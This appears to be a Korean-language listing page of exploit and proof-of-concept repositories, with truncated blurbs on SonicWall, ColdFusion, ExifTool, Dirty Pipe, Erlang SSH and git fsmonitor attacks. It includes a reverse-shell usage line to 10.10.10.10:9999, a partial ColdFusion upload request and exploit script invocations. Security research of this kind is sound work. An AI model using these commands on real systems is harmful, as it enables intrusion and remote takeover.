CVE-2019-7482

SonicWall SMA/SRA 어플라이언스의 다중 취약점 CVE-2019-7481, CVE-2019-7482,CVE-2019-7483, CVE-2019-7484, CVE-2019-7485, CVE-2019-7486 최초 게시: 2020년 2월 26일 14:00 GMT 상태: 개발 중 마지막 업데이트: 2020년 2월 26일 14:00 GMT CVSS 점수: 9.8 요약 2019년 12월 18일, SonicWall CSIRT는 SonicWall Secure Mobile Access SMA 어플라이언스에서 취약점을 식별하는 보안...

vulnerable-PDF

vulnerable-PDF = Salaries.pdf - 개발 모드: 08.10.2022 참고: 이것은 테스트 전용이며 Microsoft의 통합 프로그램인 계산기만 열 수 있습니다. = 또는 PDF 파일을 사용하여 금지된 디렉터리에 calc.exe를 다운로드할 수 있습니다 :D 경고! 테스트 및 교육 전용입니다 = vulnerable-PDF = Book.pdf 참고: System23 디렉터리를 둘러보고 그 안에 무엇이 있는지 확인할 수 있습니다 = 경고! 테스트 및 교육 전용입니다 = vulnerable-PDF =...

CVE-2018-15961

CVE-2018-15961 Adobe ColdFusion에서의 무제한 파일 업로드 POST /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 Host: coldfusion:port User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/62.0.3202.9 Safari/537.36 Content-Type: multipart/form-data;...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit 설명 파이썬 스크립트로, 취약한 Android 기기에서 임의 코드를 실행하는 CVE-2024-0039 취약점을 이용합니다. 경고 : 이 코드는 오직 교육과 창작 목적으로만 제공되며, 선의 편에서 봉사하기 위한 것입니다, 말하자면! 사용법 필요한 인수와 함께 스크립트를 실행하십시오: python exploit.py --cb-host --cb-port --output exploit.mp4 프로젝트 구조 exploit.py : 악성 MP4 파일을 생성하고 실행 과정을 기록하는 주요 익스플로잇...

CVE-2024-53615

CVE-2024-53615 Karl Ward의 files.gallery v0.3.0 0.11.0에서 비디오 썸네일 렌더링 구성요소에 존재하는 명령 주입 취약점으로, 원격 공격자가 조작된 비디오 파일을 통해 임의 코드를 실행할 수 있습니다. 전제 조건: PATH에 ffmpeg가 있어야 함 config.php: 'allowupload' = true PHP 설정에서 exec가 활성화되어 있어야 함 취약점은 버전 0.9.12에서 가져온 다음 라인비디오 미리보기를 생성하는 부분에 있습니다: $cmd = $ffmpegpath . ' -s...

CVE-2019-12594

CVE-2019-12594 이는 DOSBox 0.74-2의 취약점인 CVE-2019-12594에 대한 PoC입니다. DosBox 0.74-2에서 호스트의 계산기를 실행하는 모습 이 취약점의 PoC는 다음 구성에서 테스트되었습니다: DOSBox 0.74-2 Debian 10 amd64 Libc6 2.28-10...

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC 이 취약점은 네트워크를 통해 Erlang/OTP SSH 서버에 접근할 수 있는 공격자가 사전 인증 없이 임의 코드를 실행할 수 있게 합니다. 설명 Erlang/OTP SSH 서버에서 심각한 취약점이 확인되었으며, 이 취약점으로 인해 공격자가 인증되지 않은 원격 코드 실행RCE을 수행할 수 있습니다. SSH 프로토콜 메시지 처리의 결함을 악용하면 악의적인 공격자가 유효한 자격 증명 없이 영향을 받는 시스템에 무단으로 접근하여 임의 명령을 실행할 수 있습니다. 이...

CVE-2026-15718-who-put-ptrs-in-my-wasm

CVE-2026-15718 — 누가 내 wasm에 ptrs를 넣었나 CVE-2026-15718 에 대한 개념 증명 익스플로잇 체인으로, Mozilla SpiderMonkey의 WebAssembly baseline 컴파일러"JavaScript: WebAssembly" 구성 요소에서 sync 호출이 누락된 잘못된 컴파일입니다. 단 한 번의 zero-trip array.fill로 fakeobj 프리미티브를 얻고, 체인은 호스트 프로세스에 대한 임의 읽기/쓰기 및 임의 네이티브 코드 실행posixspawnp"/bin/sh", ...으...

CVE-2023-36168

CVE-2023-36168 AVG AVG Anti-Spyware v.7.5의 문제로 인해 공격자가 조작된 스크립트를 guard.exe 구성 요소에 전달하여 임의 코드를 실행할 수 있습니다. 익스플로이트 제목: AVG Anti Spyware 7.5 - Unquoted Service Path 날짜: 05/08/2023 익스플로이트 작성자: Idan Malihi 공급업체 홈페이지: https://www.avg.com 소프트웨어 링크: https://www.avg.com/en-ww/homepagepc 버전: 7.5 테스트 환경:...

CVE-2021-22204

CVE-2021-22204 설명 ExifTool 7.44 이상 버전에서 DjVu 파일 형식의 사용자 데이터 부적절한 무력화로 인해 악성 이미지 파싱 시 임의 코드 실행이 가능합니다. 스크립트 스크립트 링크 스크립트 사용법: 시스템 명령: bash CVE-2021-2204.sh "system'id'" happy.jpg 리버스 셸: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg 자신의 IP와 포트 수동 익스플로잇 $ sudo apt install djvulibre-bi...

kernel: netfilter: flowtable: publish GC-visible tuple last

A flaw was found in the netfilter flowtable component of the Linux kernel. This vulnerability occurs due to a timing issue where the system's garbage collection can free a network flow while it is still being set up. This can lead to a 'use-after-free' condition, where the system attempts to acce...

kernel: ipvs: clear IPv4 options after rebasing tunnel ICMP errors

A flaw was found in the Linux kernel's IP Virtual Server IPVS component. When processing Internet Control Message Protocol ICMP errors for tunneled packets, the system can incorrectly use a stale IPv4 option offset. A remote attacker could exploit this by sending a specially crafted ICMP packet,...

exploit-CVE-2021-22204

CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하세요. 익스플로잇 작성자 @UNICORDev 작성 @NicPWNs 및 @Dev-Yeoj 취약점 설명 ExifTool 버전 7.44 이상에서 DjVu 파일 형식의 사용자 데이터가 적절히 무력화되지 않아 악성 이미지를 구문 분석할 때 임의 코드 실행이 가능합니다. 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행을 위해 사용할 수 있는...

asrockploit

임의 코드 실행 CVE-2020-15368...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847-Exploit-Implementation 이것은 CVE-2022-0847, "Dirty Pipe Exploit"를 사용하여 외부 머신에서 임의 코드 실행을 위한 리버스 배쉬 셸을 띄우는 방법을 보여주는 POC입니다. 이 취약점은 Linux 커널 버전 5.8 이상에만 영향을 미치며, 5.16.11, 5.15.25, 5.10.102 이상의 버전에서 패치되었습니다. 커널을 업데이트하세요 : 이 익스플로잇은 보안 연구원 Max Kellermann이 발견했습니다. 이 익스플로잇의 세부 사항은 다루지 않겠습니다...

CVE-2024-21378

🇮🇱 그들을집으로 다시는없을것이다 🇮🇱 우리는 하마스 테러 단체에 인질로 잡힌 모든 시민의 안전한 귀환을 요구합니다. 모든 인질이 석방되어 안전하게 집으로 돌아올 때까지 우리는 쉬지 않을 것입니다. 여러분도 그들을 집으로 데려오는 데 도움을 줄 수 있습니다.https://stories.bringthemhomenow.net/ 🛡️ CVE-2024-21378 이 저장소는 Exchange Online을 통해 Microsoft Outlook을 대상으로 하는 취약점을 활용하여 COM DLL을 통해 임의 코드를 실행하는 공격 예제를 포함하고...

git-fsmonitor

이것은 문서화된 알려진 문제이지만, 제 연구 중에 발견했으며 RT/PT에 매우 유용합니다. 요약: FSMonitor 헬퍼는 git status, git diff 등 모든 명령어에서 git에 의해 실행되므로 git은 지정된 경로를 맹목적으로 실행합니다. IDE는 폴더를 열자마자 자동으로 git status를 실행하여 SCM소스 제어 관리 패널을 채웁니다. 이를 통해 git은 공격자가 제어하는 코드를 실행하도록 구성된 헬퍼를 생성할 수 있습니다. 이 기술은 RT 중이나 침해 가정 시나리오에서 모든 C2 또는 당사의 XRayC2와 ...

CoD-MW-Warzone-2---CVE-2023-38821

CoD-MW-Warzone-2 - CVE-2023-38821 DLL Planting in the CoD MW Warzone 2 - CVE-2023-38821 발견자: Idan Malihi 설명 Activision Call of Duty Modern Warfare: Warzone v.2의 문제로 인해 로컬 공격자가 UMPDC.dll, MSIMG32.dll, RTWorkQ.DLL, WINSTA.dll, CRYPTSP.dll, dnsapi.dll, MSASN1.dll, webio.dll, fwbase.dll, ncrypt.dll 및...

EUVD-2026-92416

LibreOffice Calc can link a cell range to an external data source, and the link is saved in the document. A document could name a Java database driver for such a link to be loaded from a remote location, so opening the document could run Java code from that location. In fixed versions an entry in...

kernel: ipvs: clear IPv4 options after rebasing tunnel ICMP errors

A flaw was found in the Linux kernel's IP Virtual Server IPVS component. When processing Internet Control Message Protocol ICMP errors for tunneled packets, the system can incorrectly use a stale IPv4 option offset. A remote attacker could exploit this by sending a specially crafted ICMP packet,...